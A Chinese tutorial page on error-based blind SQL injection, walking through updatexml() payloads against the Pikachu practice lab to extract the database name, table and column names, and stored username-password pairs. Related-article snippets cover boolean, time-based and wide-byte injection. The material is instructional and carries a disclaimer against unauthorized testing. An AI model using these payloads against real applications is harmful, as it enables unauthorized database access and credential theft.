详解SQL报错盲注

目录
  • 一、SQL报错函数详解
  • 二、SQL报错盲注payload构造
    • 1、updatexml语句构造思路
    • 2、查询当前数据库
    • 3、查询表名
    • 4、查询列名
    • 5、查询字段名
    • 6、查询数据

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、SQL报错函数详解

updatexml();floor();extractvalue();等函数都可以用于构造SQL报错函数,今天我们主要来讲解使用updatexml()函数。
updatexml()函数使用格式如下:

updatexml(XML_document,XPath_string,new_value)

XML_document是String格式的XML文档名称,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替换查找到的符合条件的数据。
该函数有一个特性,即如果XPath_string不是XPath格式的字符串,就会报错并显示处XPath的值,因此,我们可以利用这一特性实现SQL报错盲注。此外,我们还可以利用updatexml()函数的特性,实现在SQL插入、删除等语句中的SQL注入。

二、SQL报错盲注payload构造

1、updatexml语句构造思路

updatexml()函数的构造,首先需要闭合SQL语句中的冒号、括号。其次还需要使用and或者or语句连接成一个单独的语句,这样即可成功执行updatexml()函数中的语句。
下面,我以皮卡丘靶场为例,来简单介绍一下updatexml报错注入payload的构造思路,皮卡丘靶场SQL insert/update型注入页面如下所示:

从上图中可以看出,该页面功能上是提供人员的注册,因此可以猜测其内部是insert类型的SQL语句,因此我们可以在手机、住址等列(一般不要选择密码,因为很多网站都会把密码进行md5处理,从而导致我们的updatexml失效)中插入我们的updatexml语句。通过简单的实验可以得知,该站点的注入闭合为单引号,因此payload的构造格式为:

12' or updatexml() or'

2、查询当前数据库

当我们确定updatexml()函数的格式后,我们就可以写实际的payload语句了,相关命令如下所示:

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

从上payload可以看出,updatexml()函数有三部分组成,我们需要把我们要执行的SQL语句写到第二部分,第二部分是一个concat()函数,之所以要拼接0x7e是因为该16进制字符是一个波浪线,也可以换成其他的字符。
该payload执行结果如下所示:

从上图可以看出,我们当前的数据库名为pikachu。

3、查询表名

查询表名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

在上述payload中,concat中间的SQL语句要用括号括起来,然后写入正常的查询命令即可,该payload执行结果如下所示:

从上图可以看出,我们查询到当前数据库存在一个名为httpinfo的表,如果我们更改limit的限制,那么我们可以得到更多的表。

4、查询列名

查询列名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

5、查询字段名

字段名查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

6、查询数据

数据查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

到此这篇关于SQL报错盲注详解的文章就介绍到这了,更多相关SQL报错盲注内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • SQL注入之基于布尔的盲注详解

    基于布尔的盲注 Web的页面的仅仅会返回True和False.那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息. 由于本次是布尔注入,手注无法完整地进行脱裤.所以在本节需要编写大量的代码来帮助我们进行SQL注入,得到数据.所以在这章里面会有很多的Python代码. 本次的示例就是Less-8. 通过进行下面的语句的注入测试 http://localhost/sqlilabs/Less-8/?id=2' http://localhost/sqli

  • SQL bool盲注和时间盲注详解

    目录 一.bool盲注和时间盲注常用函数 二.bool盲注和时间盲注payload 1.SQL注入点探测 2.猜解数据库名 3.猜解表名 4.猜解字段名 5.猜解数据 今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注. 免责声明:本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!再次强调:严禁对未授权设备进行渗透测试! 一.bool盲注和时间盲注常用函数 1.休眠函数sleep()是SQL语句中用于休眠的函数,时间盲注

  • SQL注入篇学习之盲注/宽字节注入

    目录 盲注 布尔盲注 时间盲注 盲注函数 length()函数返回字符串的长度 演示语句 burp抓包演示 宽字节注入 php魔术函数 开启方式 开启效果 作用 绕过方法 宽字节注入 总结 盲注 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if() 布尔盲注 布尔很明显就是true和fa

  • MySQL时间盲注的五种延时方法实现

    MySQL时间盲注五种延时方法 (PWNHUB 非预期解) 延时注入函数 五种:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则 sleep() sleep(x) select sleep(5); benchmark() 重复执行某表达式 benchmark(t,exp) select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟, 比如select benchmark(100000

  • SQL注入技巧之显注与盲注中过滤逗号绕过详析

    前言 sql注入在很早很早以前是很常见的一个漏洞.后来随着安全水平的提高,sql注入已经很少能够看到了.但是就在今天,还有很多网站带着sql注入漏洞在运行.下面这篇文章主要介绍了关于SQL注入逗号绕过的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了. 绕过 在显示位上替换为常见

  • 详解SQL报错盲注

    目录 一.SQL报错函数详解 二.SQL报错盲注payload构造 1.updatexml语句构造思路 2.查询当前数据库 3.查询表名 4.查询列名 5.查询字段名 6.查询数据 今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解. 免责声明:本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!再次强调:严禁对未授权设备进行渗透测试! 一.SQL报错函数详解 updatexml();floor();extractvalue();等函

  • 详解BadTokenException报错解决方法

    线上出现了如上的 crash,第一解决反应是在 show dialog 之前做个 isFinish 和 isDestroyed 判断,当我翻开代码正要解决时,我惊了,原来已经做过了如上的判断检测,示例伪代码如下: public void showDialog(Activity activity){ new OkHttp().call(new Callback(){ void onSucess(Response resp){ if(activity!=null && !activity.is

  • 详解SQL之CASE WHEN具体用法

    简单CASE WHEN函数: CASE SCORE WHEN 'A' THEN '优' ELSE '不及格' END CASE SCORE WHEN 'B' THEN '良' ELSE '不及格' END CASE SCORE WHEN 'C' THEN '中' ELSE '不及格' END 等同于,使用CASE WHEN条件表达式函数实现: CASE WHEN SCORE = 'A' THEN '优' WHEN SCORE = 'B' THEN '良' WHEN SCORE = 'C' THE

  • 详解SQL Server数据库状态和文件状态

    数据库状态 (database states) 查询数据库的当前状态 : 1.查询所有数据库的状态 ,通过sys.databases目录视图的state_desc列 user master go select state_desc ,[name] from sys.databases go 2.查询指定数据库的状态,通过DATABASEPROPERTYEX函数的Status属性 select DATABASEPROPERTYEX('demoData','status') go 状态: ONLIN

  • 详解Sql基础语法

    1.创建数据库 create  database 数据库名称 2.删除数据库 drop database 数据库名称 3.备份sql server 创建备份数据的device use master exec sp_addumpdevice '名称','新的名称','路径' 开始备份 backup database pubs to 新的名称 4.创建表 create table 表名(列名1 类型,列名2 类型) 5.根据已有表创建新表 create table 新表名称 like 旧表名称 cr

  • 详解SQL中Group By的使用教程

    1.概述 "Group By"从字面意义上理解就是根据"By"指定的规则对数据进行分组,所谓的分组就是将一个"数据集"划分成若干个"小区域",然后针对若干个"小区域"进行数据处理. 2.原始表 3.简单Group By示例1 select 类别, sum(数量) as 数量之和from Agroup by 类别 返回结果如下表,实际上就是分类汇总. 4.Group By 和 Order By示例2 sele

  • 详解SQL游标的用法

    类型: 1.普通游标   只有NEXT操作 2.滚动游标 有多种操作 1.普通游标 DECLARE @username varchar(20),@UserId varchar(100) DECLARE cursor_name CURSOR FOR --定义游标 SELECT TOP 10 UserId,UserName FROM UserInfo ORDER BY UserId DESC OPEN cursor_name --打开游标 FETCH NEXT FROM cursor_name IN

  • 解决Navicat导入数据库数据结构sql报错datetime(0)的问题

    错误发生情况: 将数据库从mysql5.7导出为sql,在mysql5.5上进行导入,报sql语句错误:datetime(0)- 错误发生原因 mysql5.7和mysql5.5的datetime.timestamp不兼容 mysql5.7导出的格式为 : datetime(0),mysql5.5则无法识别该语法 解决办法 将导出语句中datetime(0) 改为datetime,或者是timestamp(0) 改为timestamp 保持数据库版本一致 补充知识:navicat导入sql,数据

  • 详解SQL EXISTS 运算符

    EXISTS 运算符 EXISTS 运算符用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False. SQL EXISTS 语法 SELECT column_name(s) FROM table_name WHERE EXISTS (SELECT column_name FROM table_name WHERE condition); 演示数据库 在本教程中,我们将使用 RUNOOB 样本数据库. 下面是选自 "Websites" 表的数据: +---

  • 详解SQL 通配符

    通配符可用于替代字符串中的任何其他字符. SQL 通配符 在 SQL 中,通配符与 SQL LIKE 操作符一起使用. SQL 通配符用于搜索表中的数据. 在 SQL 中,可使用以下通配符: 通配符 描述 % 替代 0 个或多个字符 _ 替代一个字符 [charlist] 字符列中的任何单一字符 [^charlist] 或 [!charlist] 不在字符列中的任何 演示数据库 在本教程中,我们将使用 RUNOOB 样本数据库. 下面是选自 "Websites" 表的数据: | id

随机推荐